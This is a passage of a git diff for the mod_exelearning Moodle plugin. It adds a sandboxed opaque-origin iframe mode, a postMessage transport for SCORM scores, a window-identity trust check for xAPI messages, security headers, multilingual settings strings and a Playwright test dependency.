+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser: expose for inspection and auto-boot (no-op outside an opaque sandbox).
+    if (typeof window !== 'undefined') {
+        window.exeScormBridgeShim = exp;
+        boot(window);
+    }
+})();
diff --git a/js/scorm_tracker.js b/js/scorm_tracker.js
index 46d2595..3c83d89 100644
--- a/js/scorm_tracker.js
+++ b/js/scorm_tracker.js
@@ -133,6 +133,12 @@
      *   - cmid, trackurl, session: identity and endpoint.
      *   - getScoringDocument(): returns the iframe content document (default: reads
      *     #exelearningobject) for objectid resolution.
+     *   - transport(data, sync): optional sink for the buffered scores. When provided
+     *     it REPLACES the direct XHR (secure mode: js/scorm_bridge_shim.js posts the
+     *     data to the Moodle parent, which owns the authenticated request). It gets
+     *     {cmi, itemscores} and a sync flag, and returns false to signal failure
+     *     (keeps the buffer dirty for retry). When absent, the XHR path below runs
+     *     (legacy same-origin mode and the unit tests).
      *   - xhrFactory(): returns an XMLHttpRequest-like object (default: real XHR).
      *   - setTimeout / clearTimeout: timer functions (default: globals).
      *   - bindUnload: wire a beforeunload synchronous flush (default: true in a browser).
@@ -148,6 +154,7 @@
         var setTimeoutFn = config.setTimeout || (typeof setTimeout !== 'undefined' ? setTimeout : null);
         var clearTimeoutFn = config.clearTimeout || (typeof clearTimeout !== 'undefined' ? clearTimeout : null);
         var xhrFactory = config.xhrFactory || function () { return new XMLHttpRequest(); };
+        var transport = config.transport || null;
         var getScoringDocument = config.getScoringDocument || function () {
             var fr = (typeof document !== 'undefined') && document.getElementById('exelearningobject');
             return fr && fr.contentDocument;
@@ -168,7 +175,19 @@
             // xAPI-primary packages keep window.API alive but never POST (DEC-0064).
             if (disableTracking) { dirty = false; return true; }
             if (!dirty) { return true; }
-            var snapshot = JSON.stringify(cmi);
+            // Bridge transport (secure mode): hand the buffered CMI + per-iDevice
+            // scores to the injected sink instead of doing the XHR here. The sink
+            // (js/scorm_bridge_shim.js) posts them to the Moodle parent, which owns
+            // the authenticated track.php request, retry and the pagehide beacon.
+            // Fire-and-forget: clear dirty once the message leaves; a thrown/false
+            // result keeps it dirty so the next autocommit re-sends it.
+            if (transport) {
+                try {
+                    var accepted = transport({ cmi: cmi, itemscores: itemScores }, sync === true);
+                    if (accepted !== false) { dirty = false; return true; }
+                    return false;
+                } catch (te) { errCode = '101'; return false; }
+            }
             var payload = buildPayload(cmid, session, cmi, itemScores);
             try {
                 var xhr = xhrFactory();
@@ -186,6 +205,9 @@
                 // and only if no newer value was buffered meanwhile. On failure dirty
                 // stays set so the next autocommit / beforeunload re-sends it (a failed
                 // autocommit must never silently drop a grade write to the gradebook).
+                // Snapshot the buffer here (this path only) — captured synchronously
+                // before xhr.send() below, so the onload comparison value is unchanged.
+                var snapshot = JSON.stringify(cmi);
                 xhr.onload = function () {
                     if (xhr.status >= 200 && xhr.status < 300
                             && JSON.stringify(cmi) === snapshot) {
diff --git a/js/xapi_listener.js b/js/xapi_listener.js
index a9b5818..842d0a0 100644
--- a/js/xapi_listener.js
+++ b/js/xapi_listener.js
@@ -97,6 +97,17 @@
         var mode = config.mode || 'grading';
         var allowed = config.allowedOrigin
             || ((typeof window !== 'undefined' && window.location) ? window.location.origin : '');
+        // Trust gate. Legacy (same-origin) trusts a statement by event.origin === host
+        // origin (RIE-013). Secure mode (DEC-0065) serves the package in an opaque origin
+        // where event.origin is the string "null", so origin can never authenticate; there
+        // the anchor is WINDOW IDENTITY — event.source === the package iframe's
+        // contentWindow, exactly like the SCORM bridge relay (js/scorm_bridge_relay.js).
+        // Setting iframeid (or, for tests, expectedSource) selects window-identity mode;
+        // otherwise the origin check is used.
+        var iframeid = config.iframeid || null;
+        var injectedsource = config.expectedSource;   // explicit window (tests) or null/undefined
+        var usewindowidentity = !!(iframeid || (injectedsource !== undefined && injectedsource !== null));
+        var docref = config.document || (typeof document !== 'undefined' ? document : null);
         var xhrFactory = config.xhrFactory || function () { return new XMLHttpRequest(); };
         // Bounded resend so a transient non-2xx / network blip does not silently lose a
         // grade-bearing statement — js/scorm_tracker.js self-heals the same way (a failed
@@ -153,9 +164,34 @@
             }, retryDelay * (attempt + 1));
         }
 
+        // Resolve the only window allowed to deliver statements in window-identity mode.
+        // Lazy (per message): view.php injects this listener inline BEFORE the iframe
+        // element exists, but the element is present by the time the package emits.
+        function expectedSource() {
+            if (injectedsource !== undefined && injectedsource !== null) { return injectedsource; }
+            if (iframeid && docref) {
+                var el = docref.getElementById(iframeid);
+                return el ? el.contentWindow : null;
+            }
+            return null;
+        }
+
+        // Whether an event may be forwarded: window identity in secure mode (the opaque
+        // "null" origin is ignored), or an exact host origin in legacy mode. event.source
+        // is set by the browser to the posting window and cannot be forged by page script,
+        // so it is a sound anchor when the origin is unusable (DEC-0065).
+        function isTrusted(event) {
+            if (!event) { return false; }
+            if (usewindowidentity) {
+                var src = expectedSource();
+                return !!src && event.source === src;
+            }
+            return isTrustedOrigin(event.origin, allowed);
+        }
+
         // Validate, de-dup and forward a single message. Returns true when forwarded.
         function handleMessage(event) {
-            if (!event || !isTrustedOrigin(event.origin, allowed)) { return false; }
+            if (!isTrusted(event)) { return false; }
             if (!isStatementMessage(event.data)) { return false; }
             var statement = event.data.statement;
             var id = statement.id;
diff --git a/lang/ca/exelearning.php b/lang/ca/exelearning.php
index b6194ab..8e5145a 100644
--- a/lang/ca/exelearning.php
+++ b/lang/ca/exelearning.php
@@ -100,6 +100,10 @@
 $string['embeddededitorstatus'] = 'Editor incrustat';
 $string['embeddednotinstalledadmin'] = 'Els fitxers de l\'editor integrat no estan instal·lats. Podeu instal·lar-lo des de la configuració del connector.';
 $string['embeddednotinstalledcontactadmin'] = 'Els fitxers de l\'editor integrat no estan instal·lats. Contacteu amb l\'administrador del lloc per instal·lar-lo.';
+$string['embedmode'] = '~Política d\'insercions externes';
+$string['embedmode_desc'] = '~En el mode segur, els vídeos i PDF externs es mostren promocionant-los a un reproductor aïllat i d\'origen creuat a la pàgina de l\'activitat, que el navegador manté aïllat de Moodle sigui quin sigui el proveïdor. «Obre» (recomanat) permet qualsevol proveïdor https d\'origen creuat, de manera que YouTube, Vimeo, Dailymotion, EducaMadrid i qualsevol altre lloc funcionen sense necessitat de mantenir cap llista. «Estricte» només permet una llista integrada de proveïdors coneguts; useu-lo quan no es confiï que els autors de contingut no insereixin pàgines de pesca (phishing) o de seguiment. Tots dos modes rebutgen les URL del mateix origen, d\'IP/bucle local i amb informació d\'usuari.';
+$string['embedmode_open'] = '~Obre (qualsevol proveïdor https d\'origen creuat)';
+$string['embedmode_strict'] = '~Estricte (només la llista integrada de proveïdors)';
 $string['err_grademinmax'] = '~La qualificació mínima no pot ser superior a la màxima.';
 $string['err_gradepassrange'] = '~La qualificació per aprovar ha d\'estar entre la qualificació mínima i la màxima.';
 $string['err_nocontentxml'] = '~El fitxer pujat no és un paquet eXeLearning vàlid: ha de ser un .elpx o un .zip que contingui content.xml a l\'arxiu.';
@@ -250,6 +254,10 @@
 $string['gradepass_help'] = '~La qualificació global mínima necessària per aprovar. Quan s\'habilita la condició de finalització «Requereix qualificació per aprovar», l\'activitat es marca com a completada (a l\'estil SCORM) quan l\'estudiant assoleix aquesta qualificació. Deixeu-ho a 0 per desactivar la finalització basada en l\'aprovat.';
 $string['gradesetchangedwarning'] = '~El contingut qualificable d\'aquesta activitat ha canviat i alguns estudiants ja tenen intents. Les qualificacions existents es conserven tal com estaven i no es recalculen amb el nou contingut. Si els canvis fan que aquestes qualificacions siguin enganyoses, elimineu els intents afectats per recalcular-les.';
 $string['gradingheading'] = '~Qualificació';
+$string['iframemode'] = '~Mode de seguretat de l\'iframe del paquet';
+$string['iframemode_desc'] = '~Controla com s\'incrusta el paquet eXeLearning a la pàgina de l\'activitat. «Segur» (recomanat) executa el paquet en un iframe aïllat d\'origen opac, de manera que el seu JavaScript no pot llegir ni modificar la pàgina de Moodle circumdant, les seves galetes ni la sessió; la puntuació SCORM es transmet a Moodle a través d\'un canal postMessage validat. «Heretat» manté el comportament anterior del mateix origen i només s\'hauria d\'usar si un paquet concret funciona malament en el mode segur (per exemple, perquè depèn de l\'emmagatzematge del navegador que no està disponible per a un iframe aïllat).';
+$string['iframemode_legacy'] = '~Heretat (mateix origen)';
+$string['iframemode_secure'] = '~Segur (aïllat, en entorn de proves)';
 $string['installstale'] = 'La instal·lació pot haver fallat. Torneu-ho a provar.';
 $string['intro'] = '~Descripció';
 $string['invalidaction'] = 'Acció no vàlida: {$a}';
@@ -351,6 +359,7 @@
 $string['saving'] = 'Desant...';
 $string['savingwait'] = 'Si us plau, espereu mentre es desa l\'arxiu.';
 $string['search:activity'] = '~Recurs eXeLearning - informació de l\'activitat';
+$string['securemodeblocked'] = '~Aquest contingut no es pot mostrar amb la configuració de seguretat actual. Contacteu amb l\'administrador del lloc.';
 $string['stillworking'] = 'Encara s\'està processant...';
 $string['stylesblockimport'] = '~Bloca els estils importats per l\'usuari';
 $string['stylesblockimport_desc'] = '~Quan està activat, l\'editor integrat amaga la pestanya «Estils importats» i rebutja instal·lar un estil inclòs en un projecte .elpx importat. L\'usuari només podrà triar de la llista aprovada per l\'administrador. Equival al comportament d\'eXeLearning ONLINE_THEMES_INSTALL=false.';
diff --git a/lang/en/exelearning.php b/lang/en/exelearning.php
index 9910bd6..84b1ac9 100644
--- a/lang/en/exelearning.php
+++ b/lang/en/exelearning.php
@@ -46,6 +46,10 @@
 $string['completionstatusrequired_help'] = 'When enabled, the activity is marked complete once the student has an attempt that reaches the selected status. "Passed" requires a passed attempt, "Completed" requires a completed attempt, and "Passed or completed" accepts either. This is a single activity-wide condition (one status per activity).';
 $string['confirmuninstall'] = 'Are you sure you want to uninstall the embedded editor? This will remove the admin-installed copy from moodledata.';
 $string['confirmuninstalltitle'] = 'Confirm uninstall';
+$string['cspprofile'] = 'Content security policy profile';
+$string['cspprofile_compatible'] = 'Compatible (weaker: allows external https images, media and scripts)';
+$string['cspprofile_desc'] = 'Controls the Content-Security-Policy applied to the package document. "Strict" (recommended) stops the package from loading images, media, scripts or frames from arbitrary external https hosts, so a malicious package cannot exfiltrate the per-user file token carried in the page URL; only the maintained video providers are allowed for promoted players. "Compatible" relaxes the policy to allow external https images, media and scripts (for example author images on third-party hosts or a MathJax CDN) and is therefore weaker. The package iframe stays opaque-origin in both profiles.';
+$string['cspprofile_strict'] = 'Strict (recommended: no external https images, media or scripts)';
 $string['deleteattempt']     = 'Delete attempt';
 $string['detecteditems']    = 'Gradable iDevices detected:';
 $string['downloadreport']   = 'Download report data as';
@@ -96,6 +100,10 @@
 $string['embeddededitorstatus'] = 'Embedded editor';
 $string['embeddednotinstalledadmin'] = 'The embedded editor files are not installed. You can install it from the plugin settings.';
 $string['embeddednotinstalledcontactadmin'] = 'The embedded editor files are not installed. Please contact your site administrator to install it.';
+$string['embedmode'] = 'External embed policy';
+$string['embedmode_desc'] = 'External videos and PDFs are shown by promoting them to a sandboxed, cross-origin player on the activity page, which the browser keeps isolated from Moodle whatever the provider. "Strict" (recommended) only allows a built-in list of well-known providers (YouTube, Vimeo, Dailymotion, EducaMadrid) with canonical URL reconstruction; use it where content authors are not fully trusted. "Open" allows any cross-origin https provider without a maintained list. Both modes reject same-origin, IP/loopback and userinfo URLs.';
+$string['embedmode_open'] = 'Open (any cross-origin https provider)';
+$string['embedmode_strict'] = 'Strict (built-in provider list only)';
 $string['err_grademinmax'] = 'The minimum grade cannot be greater than the maximum grade.';
 $string['err_gradepassrange'] = 'The grade to pass must be between the minimum and maximum grade.';
 $string['err_nocontentxml'] = 'The uploaded file is not a valid eXeLearning package: it must be an .elpx or a .zip whose archive contains content.xml.';
@@ -297,6 +305,8 @@
 $string['previewmode_desc']   = 'Nothing you do here will be saved to the gradebook.';
 $string['previewmode_enter']  = 'Try as a student (preview)';
 $string['previewmode_exit']   = 'Exit preview mode';
+$string['previewsessionbusy'] = 'The preview session is busy. Please retry.';
+$string['previewsessioncleanup'] = 'Clean up expired eXeLearning preview sessions';
 $string['privacy:metadata:core_grades'] = 'Scores obtained on eXeLearning gradable items are stored in the Moodle gradebook.';
 $string['privacy:metadata:exelearning'] = 'eXeLearning activity instances.';
 $string['privacy:metadata:exelearning:usermodified'] = 'The user who last modified the activity settings.';
@@ -347,6 +357,7 @@
 $string['saving'] = 'Saving...';
 $string['savingwait'] = 'Please wait while the file is being saved.';
 $string['search:activity'] = 'eXeLearning resource - activity information';
+$string['securemodeblocked'] = 'This content cannot be displayed with the current security configuration. Please contact the site administrator.';
 $string['stillworking'] = 'Still working...';
 $string['stylesblockimport'] = 'Block user-imported styles';
 $string['stylesblockimport_desc'] = 'When enabled, the embedded editor hides the "User styles" tab and refuses to install a style bundled inside an imported .elpx project. Users may only choose from the admin-approved list above. This mirrors the eXeLearning ONLINE_THEMES_INSTALL=false behavior.';
diff --git a/lang/es/exelearning.php b/lang/es/exelearning.php
index c25d263..ae6677d 100644
--- a/lang/es/exelearning.php
+++ b/lang/es/exelearning.php
@@ -100,6 +100,10 @@
 $string['embeddededitorstatus'] = 'Editor embebido';
 $string['embeddednotinstalledadmin'] = 'Los archivos del editor integrado no están instalados. Puede instalarlo desde la configuración del plugin.';
 $string['embeddednotinstalledcontactadmin'] = 'Los archivos del editor integrado no están instalados. Contacte con el administrador del sitio para instalarlo.';
+$string['embedmode'] = '~Política de inserciones externas';
+$string['embedmode_desc'] = '~En el modo seguro, los vídeos y PDF externos se muestran promocionándolos a un reproductor aislado y de origen cruzado en la página de la actividad, que el navegador mantiene aislado de Moodle sea cual sea el proveedor. «Abrir» (recomendado) permite cualquier proveedor https de origen cruzado, de modo que YouTube, Vimeo, Dailymotion, EducaMadrid y cualquier otro sitio funcionan sin necesidad de mantener una lista. «Estricto» solo permite una lista integrada de proveedores conocidos; úselo cuando no se confíe en que los autores de contenido no inserten páginas de phishing o de seguimiento. Ambos modos rechazan las URL de mismo origen, de IP/bucle local y con información de usuario.';
+$string['embedmode_open'] = '~Abrir (cualquier proveedor https de origen cruzado)';
+$string['embedmode_strict'] = '~Estricto (solo la lista integrada de proveedores)';
 $string['err_grademinmax'] = '~La calificación mínima no puede ser mayor que la calificación máxima.';
 $string['err_gradepassrange'] = '~La calificación para aprobar debe estar entre la calificación mínima y la máxima.';
 $string['err_nocontentxml'] = '~El archivo subido no es un paquete eXeLearning válido: debe ser un .elpx o un .zip cuyo archivo contenga content.xml.';
@@ -250,6 +254,10 @@
 $string['gradepass_help'] = '~La calificación global mínima necesaria para aprobar. Cuando se habilita la condición de finalización «Requiere calificación para aprobar», la actividad se marca como completada (al estilo SCORM) cuando el estudiante alcanza esta calificación. Déjelo en 0 para desactivar la finalización basada en aprobado.';
 $string['gradesetchangedwarning'] = '~El contenido calificable de esta actividad ha cambiado y algunos estudiantes ya tienen intentos. Las calificaciones existentes se conservan tal cual y no se recalculan con el nuevo contenido. Si los cambios hacen que esas calificaciones sean engañosas, elimine los intentos afectados para recalcularlas.';
 $string['gradingheading'] = '~Calificación';
+$string['iframemode'] = '~Modo de seguridad del iframe del paquete';
+$string['iframemode_desc'] = '~Controla cómo se inserta el paquete eXeLearning en la página de la actividad. «Seguro» (recomendado) ejecuta el paquete en un iframe aislado de origen opaco, de modo que su JavaScript no puede leer ni modificar la página de Moodle circundante, sus cookies ni la sesión; la puntuación SCORM se transmite a Moodle a través de un canal postMessage validado. «Heredado» mantiene el comportamiento anterior de mismo origen y solo debería usarse si un paquete concreto funciona mal en el modo seguro (por ejemplo, porque depende del almacenamiento del navegador que no está disponible para un iframe aislado).';
+$string['iframemode_legacy'] = '~Heredado (mismo origen)';
+$string['iframemode_secure'] = '~Seguro (aislado, en entorno de pruebas)';
 $string['installstale'] = 'La instalación puede haber fallado. Inténtelo de nuevo.';
 $string['intro'] = '~Descripción';
 $string['invalidaction'] = 'Acción no válida: {$a}';
@@ -351,6 +359,7 @@
 $string['saving'] = 'Guardando...';
 $string['savingwait'] = 'Por favor, espere mientras se guarda el archivo.';
 $string['search:activity'] = 'Recurso eXeLearning - información de la actividad';
+$string['securemodeblocked'] = '~Este contenido no se puede mostrar con la configuración de seguridad actual. Contacte con el administrador del sitio.';
 $string['stillworking'] = 'Sigue en proceso...';
 $string['stylesblockimport'] = 'Bloquear estilos importados por el usuario';
 $string['stylesblockimport_desc'] = 'Cuando está activado, el editor integrado oculta la pestaña «Estilos importados» y rechaza instalar un estilo incluido en un proyecto .elpx importado. El usuario sólo podrá elegir entre la lista aprobada por el administrador. Equivale al comportamiento de eXeLearning ONLINE_THEMES_INSTALL=false.';
diff --git a/lang/eu/exelearning.php b/lang/eu/exelearning.php
index b44df00..f553125 100644
--- a/lang/eu/exelearning.php
+++ b/lang/eu/exelearning.php
@@ -100,6 +100,10 @@
 $string['embeddededitorstatus'] = 'Editore txertatua';
 $string['embeddednotinstalledadmin'] = 'Editore txertatuaren fitxategiak ez daude instalatuta. Pluginaren ezarpenetan instala dezakezu.';
 $string['embeddednotinstalledcontactadmin'] = 'Editore txertatuaren fitxategiak ez daude instalatuta. Jarri harremanetan guneko administratzailearekin instalatzeko.';
+$string['embedmode'] = '~Kanpoko txertaketen politika';
+$string['embedmode_desc'] = '~Modu seguruan, kanpoko bideoak eta PDFak jardueraren orrian jatorri gurutzatuko erreproduzitzaile isolatu batera sustatuz erakusten dira, eta nabigatzaileak Moodletik isolatuta mantentzen du, hornitzailea edozein dela ere. «Ireki» (gomendatua) jatorri gurutzatuko edozein https hornitzaile onartzen du, hala nola YouTube, Vimeo, Dailymotion, EducaMadrid eta beste edozein gune funtzionatzen dute zerrenda bat mantendu beharrik gabe. «Zorrotza»k hornitzaile ezagunen barneko zerrenda bat soilik onartzen du; erabili eduki-egileek phishing edo jarraipen-orriak ez txertatzeko konfiantzarik ez dagoenean. Bi moduek baztertu egiten dituzte jatorri bereko, IP/atzeranzko begizta eta erabiltzaile-informazioa duten URLak.';
+$string['embedmode_open'] = '~Ireki (jatorri gurutzatuko edozein https hornitzaile)';
+$string['embedmode_strict'] = '~Zorrotza (hornitzaileen barneko zerrenda soilik)';
 $string['err_grademinmax'] = '~Gutxieneko kalifikazioa ezin da gehienezkoa baino handiagoa izan.';
 $string['err_gradepassrange'] = '~Gainditzeko kalifikazioa gutxieneko eta gehienezko kalifikazioaren artean egon behar da.';
 $string['err_nocontentxml'] = '~Igotako fitxategia ez da baliozko eXeLearning pakete bat: .elpx bat edo content.xml duen .zip bat izan behar du.';
@@ -250,6 +254,10 @@
 $string['gradepass_help'] = '~Gainditzeko behar den gutxieneko kalifikazio orokorra. «Gainditze-kalifikazioa behar da» osatze-baldintza gaituta dagoenean, jarduera osatutzat markatzen da (SCORM estiloan) ikasleak kalifikazio hau lortzen duenean. Utzi 0 balioan gainditzean oinarritutako osatzea desgaitzeko.';
 $string['gradesetchangedwarning'] = '~Jarduera honen eduki kalifikagarria aldatu da eta ikasle batzuek jada saiakerak dituzte. Lehendik dauden kalifikazioak zeuden bezala gordetzen dira eta ez dira eduki berriarekin birkalkulatzen. Aldaketek kalifikazio horiek engainagarri bihurtzen badituzte, ezabatu eragindako saiakerak birkalkulatzeko.';
 $string['gradingheading'] = '~Kalifikazioa';
+$string['iframemode'] = '~Paketearen iframearen segurtasun-modua';
+$string['iframemode_desc'] = '~eXeLearning paketea jardueraren orrian nola txertatzen den kontrolatzen du. «Segurua» (gomendatua) paketea jatorri opakuko iframe isolatu batean exekutatzen du, eta horrela bere JavaScriptak ezin du inguruko Moodle orria, bere cookieak edo saioa irakurri edo aldatu; SCORM puntuazioa balidatutako postMessage kanal baten bidez bidaltzen zaio Moodleri. «Aurrekoa»k jatorri bereko aurreko portaera mantentzen du eta pakete jakin batek modu seguruan gaizki funtzionatzen badu soilik erabili beharko litzateke (adibidez, iframe isolatu batentzat erabilgarri ez dagoen nabigatzailearen biltegiratzean oinarritzen delako).';
+$string['iframemode_legacy'] = '~Aurrekoa (jatorri berekoa)';
+$string['iframemode_secure'] = '~Segurua (isolatua, proba-ingurunean)';
 $string['installstale'] = 'Baliteke instalazioak huts egin izana. Saiatu berriro.';
 $string['intro'] = '~Deskribapena';
 $string['invalidaction'] = 'Ekintza baliogabea: {$a}';
@@ -351,6 +359,7 @@
 $string['saving'] = 'Gordetzen...';
 $string['savingwait'] = 'Mesedez, itxaron fitxategia gordetzen den bitartean.';
 $string['search:activity'] = '~eXeLearning baliabidea - jardueraren informazioa';
+$string['securemodeblocked'] = '~Eduki hau ezin da bistaratu uneko segurtasun-konfigurazioarekin. Jarri harremanetan guneko administratzailearekin.';
 $string['stillworking'] = 'Oraindik lanean...';
 $string['stylesblockimport'] = '~Blokeatu erabiltzaileak inportatutako estiloak';
 $string['stylesblockimport_desc'] = '~Gaituta dagoenean, editore txertatuak «Inportatutako estiloak» fitxa ezkutatzen du eta inportatutako .elpx proiektu batean sartutako estilo bat instalatzeari uko egiten dio. Erabiltzaileak administratzaileak onartutako zerrendatik soilik aukeratu ahal izango du. eXeLearning-en ONLINE_THEMES_INSTALL=false jokabidearen baliokidea da.';
diff --git a/lang/gl/exelearning.php b/lang/gl/exelearning.php
index 927f1b0..020484e 100644
--- a/lang/gl/exelearning.php
+++ b/lang/gl/exelearning.php
@@ -100,6 +100,10 @@
 $string['embeddededitorstatus'] = 'Editor embebido';
 $string['embeddednotinstalledadmin'] = 'Os ficheiros do editor integrado non están instalados. Pode instalalo desde a configuración do complemento.';
 $string['embeddednotinstalledcontactadmin'] = 'Os ficheiros do editor integrado non están instalados. Contacte co administrador do sitio para instalalo.';
+$string['embedmode'] = '~Política de insercións externas';
+$string['embedmode_desc'] = '~No modo seguro, os vídeos e PDF externos amósanse promocionándoos a un reprodutor illado e de orixe cruzada na páxina da actividade, que o navegador mantén illado de Moodle sexa cal sexa o provedor. «Abrir» (recomendado) permite calquera provedor https de orixe cruzada, de xeito que YouTube, Vimeo, Dailymotion, EducaMadrid e calquera outro sitio funcionan sen necesidade de manter unha lista. «Estrito» só permite unha lista integrada de provedores coñecidos; úseo cando non se confíe en que os autores de contido non inseran páxinas de phishing ou de seguimento. Ambos os modos rexeitan os URL de mesma orixe, de IP/bucle local e con información de usuario.';
+$string['embedmode_open'] = '~Abrir (calquera provedor https de orixe cruzada)';
+$string['embedmode_strict'] = '~Estrito (só a lista integrada de provedores)';
 $string['err_grademinmax'] = '~A cualificación mínima non pode ser maior que a máxima.';
 $string['err_gradepassrange'] = '~A cualificación para aprobar debe estar entre a cualificación mínima e a máxima.';
 $string['err_nocontentxml'] = '~O ficheiro subido non é un paquete eXeLearning válido: debe ser un .elpx ou un .zip cuxo arquivo conteña content.xml.';
@@ -250,6 +254,10 @@
 $string['gradepass_help'] = '~A cualificación global mínima necesaria para aprobar. Cando se habilita a condición de finalización «Require cualificación para aprobar», a actividade márcase como completada (ao estilo SCORM) cando o estudante alcanza esta cualificación. Déixeo en 0 para desactivar a finalización baseada no aprobado.';
 $string['gradesetchangedwarning'] = '~O contido cualificable desta actividade cambiou e algúns estudantes xa teñen intentos. As cualificacións existentes consérvanse tal cal e non se recalculan co novo contido. Se os cambios fan que esas cualificacións sexan enganosas, elimine os intentos afectados para recalculalas.';
 $string['gradingheading'] = '~Cualificación';
+$string['iframemode'] = '~Modo de seguridade do iframe do paquete';
+$string['iframemode_desc'] = '~Controla como se insire o paquete eXeLearning na páxina da actividade. «Seguro» (recomendado) executa o paquete nun iframe illado de orixe opaca, de xeito que o seu JavaScript non pode ler nin modificar a páxina de Moodle circundante, as súas cookies nin a sesión; a puntuación SCORM transmítese a Moodle a través dunha canle postMessage validada. «Herdado» mantén o comportamento anterior de mesma orixe e só debería usarse se un paquete concreto funciona mal no modo seguro (por exemplo, porque depende do almacenamento do navegador que non está dispoñible para un iframe illado).';
+$string['iframemode_legacy'] = '~Herdado (mesma orixe)';
+$string['iframemode_secure'] = '~Seguro (illado, en entorno de probas)';
 $string['installstale'] = 'A instalación pode fallar. Ténteo de novo.';
 $string['intro'] = '~Descrición';
 $string['invalidaction'] = 'Acción non válida: {$a}';
@@ -351,6 +359,7 @@
 $string['saving'] = 'Gardando...';
 $string['savingwait'] = 'Por favor, agarde mentres se garda o ficheiro.';
 $string['search:activity'] = '~Recurso eXeLearning - información da actividade';
+$string['securemodeblocked'] = '~Este contido non se pode amosar coa configuración de seguridade actual. Contacte co administrador do sitio.';
 $string['stillworking'] = 'Segue en proceso...';
 $string['stylesblockimport'] = '~Bloquear os estilos importados polo usuario';
 $string['stylesblockimport_desc'] = '~Cando está activado, o editor integrado oculta a lapela «Estilos importados» e rexeita instalar un estilo incluído nun proxecto .elpx importado. O usuario só poderá elixir da lista aprobada polo administrador. Equivale ao comportamento de eXeLearning ONLINE_THEMES_INSTALL=false.';
diff --git a/lib.php b/lib.php
index 5bd9e19..323ac7a 100644
--- a/lib.php
+++ b/lib.php
@@ -568,6 +568,15 @@ function exelearning_pluginfile($course, $cm, $context, $filearea, $args, $force
     // must render, not be downloaded). Same flag used by mod_scorm.
     $options['dontforcesvgdownload'] = true;
 
+    // Defense-in-depth headers for the embedded package HTML document, in secure mode
+    // only (DEC-0060). The decision + values live in player_iframe::content_headers()
+    // (unit tested); here we just emit them. send_stored_file() neither emits nor strips
+    // these, and header(..., true) only replaces same-named headers, so they survive.
+    $secureheaders = \mod_exelearning\local\ui\player_iframe::content_headers($file->get_filename(), $CFG->wwwroot);
+    foreach ($secureheaders as $hname => $hval) {
+        @header($hname . ': ' . $hval);
+    }
+
     // Reasonable cache-control: a revision bump automatically invalidates the URL.
     $lifetime = $CFG->filelifetime ?? 86400;
     send_stored_file($file, $lifetime, 0, $forcedownload, $options);
diff --git a/package-lock.json b/package-lock.json
index da74de4..914e102 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -9,6 +9,7 @@
       "version": "1.0.0",
       "license": "GPL-3.0-or-later",
       "devDependencies": {
+        "@playwright/test": "^1.58.2",
         "@vitest/coverage-v8": "^4.1.8",
         "happy-dom": "^20.10.2",
         "vitest": "^4.1.8"
@@ -165,6 +166,22 @@
         "url": "https://github.com/sponsors/Boshen"
       }
     },
+    "node_modules/@playwright/test": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.58.2.tgz",
+      "integrity": "sha512-akea+6bHYBBfA9uQqSYmlJXn61cTa+jbO87xVLCWbTqbWadRVmhxlXATaOjOgcBaWU4ePo0wB41KMFv3o35IXA==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "playwright": "1.58.2"
+      },
+      "bin": {
+        "playwright": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
     "node_modules/@rolldown/binding-android-arm64": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz",
@@ -1219,6 +1236,53 @@
         "url": "https://github.com/sponsors/jonschlinkert"
       }
     },
+    "node_modules/playwright": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz",
+      "integrity": "sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "playwright-core": "1.58.2"
+      },
+      "bin": {
+        "playwright": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "optionalDependencies": {
+        "fsevents": "2.3.2"
+      }
+    },
+    "node_modules/playwright-core": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.58.2.tgz",
+      "integrity": "sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "bin": {
+        "playwright-core": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/playwright/node_modules/fsevents": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
     "node_modules/postcss": {
       "version": "8.5.15",
       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz",
diff --git a/package.json b/package.json
index 08e6a68..5e8881c 100644
--- a/package.json
+++ b/package.json
@@ -2,13 +2,15 @@
   "name": "mod_exelearning",
   "version": "1.0.0",
   "private": true,
-  "description": "JavaScript unit tests (Vitest) for the mod_exelearning SCORM tracker.",
+  "description": "JavaScript unit tests (Vitest) + Firefox e2e (Playwright) for mod_exelearning.",
   "license": "GPL-3.0-or-later",
   "scripts": {
     "test:js": "vitest run",
-    "test:js:coverage": "vitest run --coverage"
+    "test:js:coverage": "vitest run --coverage",
+    "test:e2e:embed": "playwright test -c playwright-embed.config.cjs"
   },
   "devDependencies": {
+    "@playwright/test": "^1.58.2",
     "@vitest/coverage-v8": "^4.1.8",
     "happy-dom": "^20.10.2",
     "vitest": "^4.1.8"
diff --git a/playwright-embed.config.cjs b/playwright-embed.config.cjs
new file mode 100644
index 0000000..cf4ec1a
--- /dev/null
+++ b/playwright-embed.config.cjs
@@ -0,0 +1,25 @@
+// Playwright config for the cross-browser external-embed e2e (DEC-0061), separate from
